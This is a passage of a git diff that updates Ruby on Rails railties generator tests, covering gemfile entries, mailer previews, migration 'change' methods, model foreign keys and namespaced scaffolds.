+ assert_includes generator.gemfile_entries.map(&:name), 'tenderlove'
+ end
+
+ def test_add_gem_with_version
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ generator.gemfile_entry 'tenderlove', '2.0.0'
+ assert generator.gemfile_entries.find { |gfe|
+ gfe.name == 'tenderlove' && gfe.version == '2.0.0'
+ }
+ end
+
+ def test_add_github_gem
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ generator.gemfile_entry 'tenderlove', github: 'hello world'
+ assert generator.gemfile_entries.find { |gfe|
+ gfe.name == 'tenderlove' && gfe.options[:github] == 'hello world'
+ }
+ end
+
+ def test_add_path_gem
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ generator.gemfile_entry 'tenderlove', path: 'hello world'
+ assert generator.gemfile_entries.find { |gfe|
+ gfe.name == 'tenderlove' && gfe.options[:path] == 'hello world'
+ }
+ end
+
+ def test_filter
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ gems = generator.gemfile_entries
+ generator.add_gem_entry_filter { |gem|
+ gem.name != gems.first.name
+ }
+ assert_equal gems.drop(1), generator.gemfile_entries
+ end
+
+ def test_two_filters
+ klass = make_builder_class
+ generator = klass.start(['new', 'blah'])
+ gems = generator.gemfile_entries
+ generator.add_gem_entry_filter { |gem|
+ gem.name != gems.first.name
+ }
+ generator.add_gem_entry_filter { |gem|
+ gem.name != gems[1].name
+ }
+ assert_equal gems.drop(2), generator.gemfile_entries
+ end
+ end
+ end
+end
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
index 7fdd54fc30..6cc91f166b 100644
--- a/railties/test/generators/generators_test_helper.rb
+++ b/railties/test/generators/generators_test_helper.rb
@@ -1,10 +1,14 @@
require 'abstract_unit'
+require 'active_support/core_ext/module/remove_method'
require 'rails/generators'
require 'rails/generators/test_case'
module Rails
- def self.root
- @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+ class << self
+ remove_possible_method :root
+ def root
+ @root ||= Pathname.new(File.expand_path('../../fixtures', __FILE__))
+ end
end
end
Rails.application.config.root = Rails.root
@@ -16,6 +20,7 @@ Rails.application.load_generators
require 'active_record'
require 'action_dispatch'
+require 'action_view'
module GeneratorsTestHelper
def self.included(base)
@@ -36,4 +41,12 @@ module GeneratorsTestHelper
FileUtils.mkdir_p(destination)
FileUtils.cp routes, destination
end
+
+ def quietly
+ silence_stream(STDOUT) do
+ silence_stream(STDERR) do
+ yield
+ end
+ end
+ end
end
diff --git a/railties/test/generators/helper_generator_test.rb b/railties/test/generators/helper_generator_test.rb
index 81d4fcb129..add04f21a4 100644
--- a/railties/test/generators/helper_generator_test.rb
+++ b/railties/test/generators/helper_generator_test.rb
@@ -13,26 +13,11 @@ class HelperGeneratorTest < Rails::Generators::TestCase
assert_file "app/helpers/admin_helper.rb", /module AdminHelper/
end
- def test_invokes_default_test_framework
- run_generator
- assert_file "test/helpers/admin_helper_test.rb", /class AdminHelperTest < ActionView::TestCase/
- end
-
- def test_logs_if_the_test_framework_cannot_be_found
- content = run_generator ["admin", "--test-framework=rspec"]
- assert_match(/rspec \[not found\]/, content)
- end
-
def test_check_class_collision
content = capture(:stderr){ run_generator ["object"] }
assert_match(/The name 'ObjectHelper' is either already used in your application or reserved/, content)
end
- def test_check_class_collision_on_tests
- content = capture(:stderr){ run_generator ["another_object"] }
- assert_match(/The name 'AnotherObjectHelperTest' is either already used in your application or reserved/, content)
- end
-
def test_namespaced_and_not_namespaced_helpers
run_generator ["products"]
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index 6b2351fc1a..bab15ce172 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -1,7 +1,6 @@
require 'generators/generators_test_helper'
require 'rails/generators/mailer/mailer_generator'
-
class MailerGeneratorTest < Rails::Generators::TestCase
include GeneratorsTestHelper
arguments %w(notifier foo bar)
@@ -9,8 +8,18 @@ class MailerGeneratorTest < Rails::Generators::TestCase
def test_mailer_skeleton_is_created
run_generator
assert_file "app/mailers/notifier.rb" do |mailer|
- assert_match(/class Notifier < ActionMailer::Base/, mailer)
+ assert_match(/class Notifier < ApplicationMailer/, mailer)
+ assert_no_match(/default from: "from@example.com"/, mailer)
+ assert_no_match(/layout :mailer_notifier/, mailer)
+ end
+ end
+
+ def test_application_mailer_skeleton_is_created
+ run_generator
+ assert_file "app/mailers/application_mailer.rb" do |mailer|
+ assert_match(/class ApplicationMailer < ActionMailer::Base/, mailer)
assert_match(/default from: "from@example.com"/, mailer)
+ assert_match(/layout 'mailer'/, mailer)
end
end
@@ -23,8 +32,11 @@ class MailerGeneratorTest < Rails::Generators::TestCase
end
def test_check_class_collision
- content = capture(:stderr){ run_generator ["object"] }
- assert_match(/The name 'Object' is either already used in your application or reserved/, content)
+ Object.send :const_set, :Notifier, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'Notifier' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :Notifier
end
def test_invokes_default_test_framework
@@ -34,24 +46,75 @@ class MailerGeneratorTest < Rails::Generators::TestCase
assert_match(/test "foo"/, test)
assert_match(/test "bar"/, test)
end
+ assert_file "test/mailers/previews/notifier_preview.rb" do |preview|
+ assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/notifier/, preview)
+ assert_match(/class NotifierPreview < ActionMailer::Preview/, preview)
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/foo/, preview)
+ assert_instance_method :foo, preview do |foo|
+ assert_match(/Notifier.foo/, foo)
+ end
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/notifier\/bar/, preview)
+ assert_instance_method :bar, preview do |bar|
+ assert_match(/Notifier.bar/, bar)
+ end
+ end
+ end
+
+ def test_check_test_class_collision
+ Object.send :const_set, :NotifierTest, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'NotifierTest' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :NotifierTest
end
- def test_invokes_default_template_engine
+ def test_check_preview_class_collision
+ Object.send :const_set, :NotifierPreview, Class.new
+ content = capture(:stderr){ run_generator }
+ assert_match(/The name 'NotifierPreview' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :NotifierPreview
+ end
+
+ def test_invokes_default_text_template_engine
run_generator
assert_file "app/views/notifier/foo.text.erb" do |view|
- assert_match(%r(app/views/notifier/foo\.text\.erb), view)
+ assert_match(%r(\sapp/views/notifier/foo\.text\.erb), view)
assert_match(/<%= @greeting %>/, view)
end
assert_file "app/views/notifier/bar.text.erb" do |view|
- assert_match(%r(app/views/notifier/bar\.text\.erb), view)
+ assert_match(%r(\sapp/views/notifier/bar\.text\.erb), view)
assert_match(/<%= @greeting %>/, view)
end
+
+ assert_file "app/views/layouts/mailer.text.erb" do |view|
+ assert_match(/<%= yield %>/, view)
+ end
+ end
+
+ def test_invokes_default_html_template_engine
+ run_generator
+ assert_file "app/views/notifier/foo.html.erb" do |view|
+ assert_match(%r(\sapp/views/notifier/foo\.html\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+
+ assert_file "app/views/notifier/bar.html.erb" do |view|
+ assert_match(%r(\sapp/views/notifier/bar\.html\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+
+ assert_file "app/views/layouts/mailer.html.erb" do |view|
+ assert_match(%r{<html>\n <body>\n <%= yield %>\n </body>\n</html>}, view)
+ end
end
def test_invokes_default_template_engine_even_with_no_action
run_generator ["notifier"]
assert_file "app/views/notifier"
+ assert_file "app/views/layouts/mailer.text.erb"
+ assert_file "app/views/layouts/mailer.html.erb"
end
def test_logs_if_the_template_engine_cannot_be_found
@@ -62,10 +125,16 @@ class MailerGeneratorTest < Rails::Generators::TestCase
def test_mailer_with_namedspaced_mailer
run_generator ["Farm::Animal", "moos"]
assert_file "app/mailers/farm/animal.rb" do |mailer|
- assert_match(/class Farm::Animal < ActionMailer::Base/, mailer)
+ assert_match(/class Farm::Animal < ApplicationMailer/, mailer)
assert_match(/en\.farm\.animal\.moos\.subject/, mailer)
end
+ assert_file "test/mailers/previews/farm/animal_preview.rb" do |preview|
+ assert_match(/\# Preview all emails at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal/, preview)
+ assert_match(/class Farm::AnimalPreview < ActionMailer::Preview/, preview)
+ assert_match(/\# Preview this email at http:\/\/localhost\:3000\/rails\/mailers\/farm\/animal\/moos/, preview)
+ end
assert_file "app/views/farm/animal/moos.text.erb"
+ assert_file "app/views/farm/animal/moos.html.erb"
end
def test_actions_are_turned_into_methods
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
index 15e5a0b92b..c2c8e2abad 100644
--- a/railties/test/generators/migration_generator_test.rb
+++ b/railties/test/generators/migration_generator_test.rb
@@ -28,7 +28,7 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration]
assert_migration "db/migrate/change_title_body_from_posts.rb", /class #{migration} < ActiveRecord::Migration/
end
-
+
def test_migration_with_invalid_file_name
migration = "add_something:datetime"
assert_raise ActiveRecord::IllegalMigrationNameError do
@@ -41,9 +41,9 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "title:string", "body:text"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :change, content do |up|
- assert_match(/add_column :posts, :title, :string/, up)
- assert_match(/add_column :posts, :body, :text/, up)
+ assert_method :change, content do |change|
+ assert_match(/add_column :posts, :title, :string/, change)
+ assert_match(/add_column :posts, :body, :text/, change)
end
end
end
@@ -53,15 +53,10 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "title:string:index", "body:text"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :up, content do |up|
- assert_match(/remove_column :posts, :title/, up)
- assert_match(/remove_column :posts, :body/, up)
- end
-
- assert_method :down, content do |down|
- assert_match(/add_column :posts, :title, :string/, down)
- assert_match(/add_column :posts, :body, :text/, down)
- assert_match(/add_index :posts, :title/, down)
+ assert_method :change, content do |change|
+ assert_match(/remove_column :posts, :title, :string/, change)
+ assert_match(/remove_column :posts, :body, :text/, change)
+ assert_match(/remove_index :posts, :title/, change)
end
end
end
@@ -71,14 +66,9 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "title:string", "body:text"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :up, content do |up|
- assert_match(/remove_column :posts, :title/, up)
- assert_match(/remove_column :posts, :body/, up)
- end
-
- assert_method :down, content do |down|
- assert_match(/add_column :posts, :title, :string/, down)
- assert_match(/add_column :posts, :body, :text/, down)
+ assert_method :change, content do |change|
+ assert_match(/remove_column :posts, :title, :string/, change)
+ assert_match(/remove_column :posts, :body, :text/, change)
end
end
end
@@ -88,14 +78,21 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :up, content do |up|
- assert_match(/remove_reference :books, :author/, up)
- assert_match(/remove_reference :books, :distributor, polymorphic: true/, up)
+ assert_method :change, content do |change|
+ assert_match(/remove_reference :books, :author, index: true/, change)
+ assert_match(/remove_reference :books, :distributor, polymorphic: true, index: true/, change)
end
+ end
+ end
+
+ def test_remove_migration_with_references_removes_foreign_keys
+ migration = "remove_references_from_books"
+ run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
- assert_method :down, content do |down|
- assert_match(/add_reference :books, :author, index: true/, down)
- assert_match(/add_reference :books, :distributor, polymorphic: true, index: true/, down)
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/remove_foreign_key :books, :authors/, change)
+ assert_no_match(/remove_foreign_key :books, :distributors/, change)
end
end
end
@@ -105,13 +102,13 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "title:string:index", "body:text", "user_id:integer:uniq"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :change, content do |up|
- assert_match(/add_column :posts, :title, :string/, up)
- assert_match(/add_column :posts, :body, :text/, up)
- assert_match(/add_column :posts, :user_id, :integer/, up)
+ assert_method :change, content do |change|
+ assert_match(/add_column :posts, :title, :string/, change)
+ assert_match(/add_column :posts, :body, :text/, change)
+ assert_match(/add_column :posts, :user_id, :integer/, change)
+ assert_match(/add_index :posts, :title/, change)
+ assert_match(/add_index :posts, :user_id, unique: true/, change)
end
- assert_match(/add_index :posts, :title/, content)
- assert_match(/add_index :posts, :user_id, unique: true/, content)
end
end
@@ -120,10 +117,10 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "title:string:inex", "content:text", "user_id:integer:unik"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :change, content do |up|
- assert_match(/add_column :books, :title, :string/, up)
- assert_match(/add_column :books, :content, :text/, up)
- assert_match(/add_column :books, :user_id, :integer/, up)
+ assert_method :change, content do |change|
+ assert_match(/add_column :books, :title, :string/, change)
+ assert_match(/add_column :books, :content, :text/, change)
+ assert_match(/add_column :books, :user_id, :integer/, change)
end
assert_no_match(/add_index :books, :title/, content)
assert_no_match(/add_index :books, :user_id/, content)
@@ -135,13 +132,13 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "title:index", "body:text", "user_uuid:uniq"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :change, content do |up|
- assert_match(/add_column :posts, :title, :string/, up)
- assert_match(/add_column :posts, :body, :text/, up)
- assert_match(/add_column :posts, :user_uuid, :string/, up)
+ assert_method :change, content do |change|
+ assert_match(/add_column :posts, :title, :string/, change)
+ assert_match(/add_column :posts, :body, :text/, change)
+ assert_match(/add_column :posts, :user_uuid, :string/, change)
+ assert_match(/add_index :posts, :title/, change)
+ assert_match(/add_index :posts, :user_uuid, unique: true/, change)
end
- assert_match(/add_index :posts, :title/, content)
- assert_match(/add_index :posts, :user_uuid, unique: true/, content)
end
end
@@ -150,11 +147,11 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "title:string{40}:index", "content:string{255}", "price:decimal{1,2}:index", "discount:decimal{3.4}:uniq"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :change, content do |up|
- assert_match(/add_column :books, :title, :string, limit: 40/, up)
- assert_match(/add_column :books, :content, :string, limit: 255/, up)
- assert_match(/add_column :books, :price, :decimal, precision: 1, scale: 2/, up)
- assert_match(/add_column :books, :discount, :decimal, precision: 3, scale: 4/, up)
+ assert_method :change, content do |change|
+ assert_match(/add_column :books, :title, :string, limit: 40/, change)
+ assert_match(/add_column :books, :content, :string, limit: 255/, change)
+ assert_match(/add_column :books, :price, :decimal, precision: 1, scale: 2/, change)
+ assert_match(/add_column :books, :discount, :decimal, precision: 3, scale: 4/, change)
end
assert_match(/add_index :books, :title/, content)
assert_match(/add_index :books, :price/, content)
@@ -167,9 +164,33 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :change, content do |up|
- assert_match(/add_reference :books, :author, index: true/, up)
- assert_match(/add_reference :books, :distributor, polymorphic: true, index: true/, up)
+ assert_method :change, content do |change|
+ assert_match(/add_reference :books, :author, index: true/, change)
+ assert_match(/add_reference :books, :distributor, polymorphic: true, index: true/, change)
+ end
+ end
+ end
+
+ def test_add_migration_with_required_references
+ migration = "add_references_to_books"
+ run_generator [migration, "author:belongs_to{required}", "distributor:references{polymorphic,required}"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_reference :books, :author, index: true, null: false/, change)
+ assert_match(/add_reference :books, :distributor, polymorphic: true, index: true, null: false/, change)
+ end
+ end
+ end
+
+ def test_add_migration_with_references_adds_foreign_keys
+ migration = "add_references_to_books"
+ run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_foreign_key :books, :authors/, change)
+ assert_no_match(/add_foreign_key :books, :distributors/, change)
end
end
end
@@ -179,25 +200,32 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
run_generator [migration, "artist_id", "musics:uniq"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :change, content do |up|
- assert_match(/create_join_table :artists, :musics/, up)
- assert_match(/# t.index \[:artist_id, :music_id\]/, up)
- assert_match(/ t.index \[:music_id, :artist_id\], unique: true/, up)
+ assert_method :change, content do |change|
+ assert_match(/create_join_table :artists, :musics/, change)
+ assert_match(/# t.index \[:artist_id, :music_id\]/, change)
+ assert_match(/ t.index \[:music_id, :artist_id\], unique: true/, change)
+ end
+ end
+ end
+
+ def test_create_table_migration
+ run_generator ["create_books", "title:string", "content:text"]
+ assert_migration "db/migrate/create_books.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/create_table :books/, change)
+ assert_match(/ t\.string :title/, change)
+ assert_match(/ t\.text :content/, change)
end
end
end
- def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove
- migration = "create_books"
+ def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove_or_create
+ migration = "delete_books"
run_generator [migration, "title:string", "content:text"]
assert_migration "db/migrate/#{migration}.rb" do |content|
- assert_method :up, content do |up|
- assert_match(/^\s*$/, up)
- end
-
- assert_method :down, content do |down|
- assert_match(/^\s*$/, down)
+ assert_method :change, content do |change|
+ assert_match(/^\s*$/, change)
end
end
end
@@ -205,4 +233,54 @@ class MigrationGeneratorTest < Rails::Generators::TestCase
def test_properly_identifies_usage_file
assert generator_class.send(:usage_path)
end
+
+ def test_migration_with_singular_table_name
+ with_singular_table_name do
+ migration = "add_title_body_to_post"
+ run_generator [migration, 'title:string']
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_column :post, :title, :string/, change)
+ end
+ end
+ end
+ end
+
+ def test_create_join_table_migration_with_singular_table_name
+ with_singular_table_name do
+ migration = "add_media_join_table"
+ run_generator [migration, "artist_id", "music:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/create_join_table :artist, :music/, change)
+ assert_match(/# t.index \[:artist_id, :music_id\]/, change)
+ assert_match(/ t.index \[:music_id, :artist_id\], unique: true/, change)
+ end
+ end
+ end
+ end
+
+ def test_create_table_migration_with_singular_table_name
+ with_singular_table_name do
+ run_generator ["create_book", "title:string", "content:text"]
+ assert_migration "db/migrate/create_book.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/create_table :book/, change)
+ assert_match(/ t\.string :title/, change)
+ assert_match(/ t\.text :content/, change)
+ end
+ end
+ end
+ end
+
+ private
+
+ def with_singular_table_name
+ old_state = ActiveRecord::Base.pluralize_table_names
+ ActiveRecord::Base.pluralize_table_names = false
+ yield
+ ensure
+ ActiveRecord::Base.pluralize_table_names = old_state
+ end
end
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
index 70e080a8ab..ac7a0acf6b 100644
--- a/railties/test/generators/model_generator_test.rb
+++ b/railties/test/generators/model_generator_test.rb
@@ -1,5 +1,6 @@
require 'generators/generators_test_helper'
require 'rails/generators/rails/model/model_generator'
+require 'active_support/core_ext/string/strip'
class ModelGeneratorTest < Rails::Generators::TestCase
include GeneratorsTestHelper
@@ -34,6 +35,13 @@ class ModelGeneratorTest < Rails::Generators::TestCase
assert_no_migration "db/migrate/create_accounts.rb"
end
+ def test_plural_names_are_singularized
+ content = run_generator ["accounts".freeze]
+ assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/
+ assert_file "test/models/account_test.rb", /class AccountTest/
+ assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
+ end
+
def test_model_with_underscored_parent_option
run_generator ["account", "--parent", "admin/account"]
assert_file "app/models/account.rb", /class Account < Admin::Account/
@@ -215,7 +223,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase
def test_migration_with_timestamps
run_generator
- assert_migration "db/migrate/create_accounts.rb", /t.timestamps/
+ assert_migration "db/migrate/create_accounts.rb", /t.timestamps null: false/
end
def test_migration_timestamps_are_skipped
@@ -264,23 +272,40 @@ class ModelGeneratorTest < Rails::Generators::TestCase
error = capture(:stderr) { run_generator ["Account", "--force"] }
assert_no_match(/Another migration is already named create_accounts/, error)
assert_no_file old_migration
- assert_migration 'db/migrate/create_accounts.rb'
+ assert_migration "db/migrate/create_accounts.rb"
end
def test_invokes_default_test_framework
run_generator
assert_file "test/models/account_test.rb", /class AccountTest < ActiveSupport::TestCase/
+
assert_file "test/fixtures/accounts.yml", /name: MyString/, /age: 1/
+ assert_generated_fixture("test/fixtures/accounts.yml",
+ {"one"=>{"name"=>"MyString", "age"=>1}, "two"=>{"name"=>"MyString", "age"=>1}})
end
def test_fixtures_use_the_references_ids
run_generator ["LineItem", "product:references", "cart:belongs_to"]
+
assert_file "test/fixtures/line_items.yml", /product_id: \n cart_id: /
+ assert_generated_fixture("test/fixtures/line_items.yml",
+ {"one"=>{"product_id"=>nil, "cart_id"=>nil}, "two"=>{"product_id"=>nil, "cart_id"=>nil}})
end
def test_fixtures_use_the_references_ids_and_type
run_generator ["LineItem", "product:references{polymorphic}", "cart:belongs_to"]
+
assert_file "test/fixtures/line_items.yml", /product_id: \n product_type: Product\n cart_id: /
+ assert_generated_fixture("test/fixtures/line_items.yml",
+ {"one"=>{"product_id"=>nil, "product_type"=>"Product", "cart_id"=>nil},
+ "two"=>{"product_id"=>nil, "product_type"=>"Product", "cart_id"=>nil}})
+ end
+
+ def test_fixtures_respect_reserved_yml_keywords
+ run_generator ["LineItem", "no:integer", "Off:boolean", "ON:boolean"]
+
+ assert_generated_fixture("test/fixtures/line_items.yml",
+ {"one"=>{"no"=>1, "Off"=>false, "ON"=>false}, "two"=>{"no"=>1, "Off"=>false, "ON"=>false}})
end
def test_fixture_is_skipped
@@ -338,4 +363,74 @@ class ModelGeneratorTest < Rails::Generators::TestCase
end
end
end
+
+ def test_required_belongs_to_adds_required_association
+ run_generator ["account", "supplier:references{required}"]
+
+ expected_file = <<-FILE.strip_heredoc
+ class Account < ActiveRecord::Base
+ belongs_to :supplier, required: true
+ end
+ FILE
+ assert_file "app/models/account.rb", expected_file
+ end
+
+ def test_required_polymorphic_belongs_to_generages_correct_model
+ run_generator ["account", "supplier:references{required,polymorphic}"]
+
+ expected_file = <<-FILE.strip_heredoc
+ class Account < ActiveRecord::Base
+ belongs_to :supplier, polymorphic: true, required: true
+ end
+ FILE
+ assert_file "app/models/account.rb", expected_file
+ end
+
+ def test_required_and_polymorphic_are_order_independent
+ run_generator ["account", "supplier:references{polymorphic.required}"]
+
+ expected_file = <<-FILE.strip_heredoc
+ class Account < ActiveRecord::Base
+ belongs_to :supplier, polymorphic: true, required: true
+ end
+ FILE
+ assert_file "app/models/account.rb", expected_file
+ end
+
+ def test_required_adds_null_false_to_column
+ run_generator ["account", "supplier:references{required}"]
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/t\.references :supplier,.*\snull: false/, up)
+ end
+ end
+ end
+
+ def test_foreign_key_is_added_for_references
+ run_generator ["account", "supplier:belongs_to", "user:references"]
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/add_foreign_key :accounts, :suppliers/, up)
+ assert_match(/add_foreign_key :accounts, :users/, up)
+ end
+ end
+ end
+
+ def test_foreign_key_is_skipped_for_polymorphic_references
+ run_generator ["account", "supplier:belongs_to{polymorphic}"]
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_no_match(/add_foreign_key :accounts, :suppliers/, up)
+ end
+ end
+ end
+
+ private
+ def assert_generated_fixture(path, parsed_contents)
+ fixture_file = File.new File.expand_path(path, destination_root)
+ assert_equal(parsed_contents, YAML.load(fixture_file))
+ end
end
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
index 2bc2c33a72..4199e00b0d 100644
--- a/railties/test/generators/named_base_test.rb
+++ b/railties/test/generators/named_base_test.rb
@@ -1,5 +1,6 @@
require 'generators/generators_test_helper'
require 'rails/generators/rails/scaffold_controller/scaffold_controller_generator'
+require 'mocha/setup' # FIXME: stop using mocha
# Mock out what we need from AR::Base.
module ActiveRecord
@@ -117,6 +118,25 @@ class NamedBaseTest < Rails::Generators::TestCase
assert Rails::Generators.hidden_namespaces.include?('hidden')
end
+ def test_scaffold_plural_names_with_model_name_option
+ g = generator ['Admin::Foo'], model_name: 'User'
+ assert_name g, 'user', :singular_name
+ assert_name g, 'User', :name
+ assert_name g, 'user', :file_path
+ assert_name g, 'User', :class_name
+ assert_name g, 'user', :file_name
+ assert_name g, 'User', :human_name
+ assert_name g, 'users', :plural_name
+ assert_name g, 'user', :i18n_scope
+ assert_name g, 'users', :table_name
+ assert_name g, 'Admin::Foos', :controller_name
+ assert_name g, %w(admin), :controller_class_path
+ assert_name g, 'Admin::Foos', :controller_class_name
+ assert_name g, 'admin/foos', :controller_file_path
+ assert_name g, 'foos', :controller_file_name
+ assert_name g, 'admin.foos', :controller_i18n_scope
+ end
+
protected
def assert_name(generator, value, method)
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
index a4d8b3d1b0..6075805152 100644
--- a/railties/test/generators/namespaced_generators_test.rb
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -44,10 +44,9 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
end
end
- def test_helpr_is_also_namespaced
+ def test_helper_is_also_namespaced
run_generator
assert_file "app/helpers/test_app/account_helper.rb", /module TestApp/, / module AccountHelper/
- assert_file "test/helpers/test_app/account_helper_test.rb", /module TestApp/, / class AccountHelperTest/
end
def test_invokes_default_test_framework
@@ -63,7 +62,7 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
def test_routes_should_not_be_namespaced
run_generator
- assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+ assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
end
def test_invokes_default_template_engine_even_with_no_action
@@ -149,8 +148,8 @@ class NamespacedMailerGeneratorTest < NamespacedGeneratorTestCase
run_generator
assert_file "app/mailers/test_app/notifier.rb" do |mailer|
assert_match(/module TestApp/, mailer)
- assert_match(/class Notifier < ActionMailer::Base/, mailer)
- assert_match(/default from: "from@example.com"/, mailer)
+ assert_match(/class Notifier < ApplicationMailer/, mailer)
+ assert_no_match(/default from: "from@example.com"/, mailer)
end
end
@@ -229,7 +228,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
# Helpers
assert_file "app/helpers/test_app/product_lines_helper.rb"
- assert_file "test/helpers/test_app/product_lines_helper_test.rb"
# Stylesheets
assert_file "app/assets/stylesheets/scaffold.css"
@@ -260,7 +258,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
# Helpers
assert_no_file "app/helpers/test_app/product_lines_helper.rb"
- assert_no_file "test/helpers/test_app/product_lines_helper_test.rb"
# Stylesheets (should not be removed)
assert_file "app/assets/stylesheets/scaffold.css"
@@ -297,7 +294,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
# Helpers
assert_file "app/helpers/test_app/admin/roles_helper.rb"
- assert_file "test/helpers/test_app/admin/roles_helper_test.rb"
# Stylesheets
assert_file "app/assets/stylesheets/scaffold.css"
@@ -329,7 +325,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
# Helpers
assert_no_file "app/helpers/test_app/admin/roles_helper.rb"
- assert_no_file "test/helpers/test_app/admin/roles_helper_test.rb"
# Stylesheets (should not be removed)
assert_file "app/assets/stylesheets/scaffold.css"
@@ -366,7 +361,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
# Helpers
assert_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
- assert_file "test/helpers/test_app/admin/user/special/roles_helper_test.rb"
# Stylesheets
assert_file "app/assets/stylesheets/scaffold.css"
@@ -397,7 +391,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
# Helpers
assert_no_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
- assert_no_file "test/helpers/test_app/admin/user/special/roles_helper_test.rb"
# Stylesheets (should not be removed)
assert_file "app/assets/stylesheets/scaffold.css"
diff --git a/railties/test/generators/performance_test_generator_test.rb b/railties/test/generators/performance_test_generator_test.rb
deleted file mode 100644
index 37f9857193..0000000000
--- a/railties/test/generators/performance_test_generator_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'generators/generators_test_helper'
-require 'rails/generators/rails/performance_test/performance_test_generator'
-
-class PerformanceTestGeneratorTest < Rails::Generators::TestCase
- include GeneratorsTestHelper
- arguments %w(performance)
-
- def test_performance_test_skeleton_is_created
- run_generator
- assert_file "test/performance/performance_test.rb", /class PerformanceTest < ActionDispatch::PerformanceTest/
- end
-end
diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
new file mode 100644
index 0000000000..dbc87be614
--- /dev/null
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -0,0 +1,442 @@
+require 'generators/generators_test_helper'
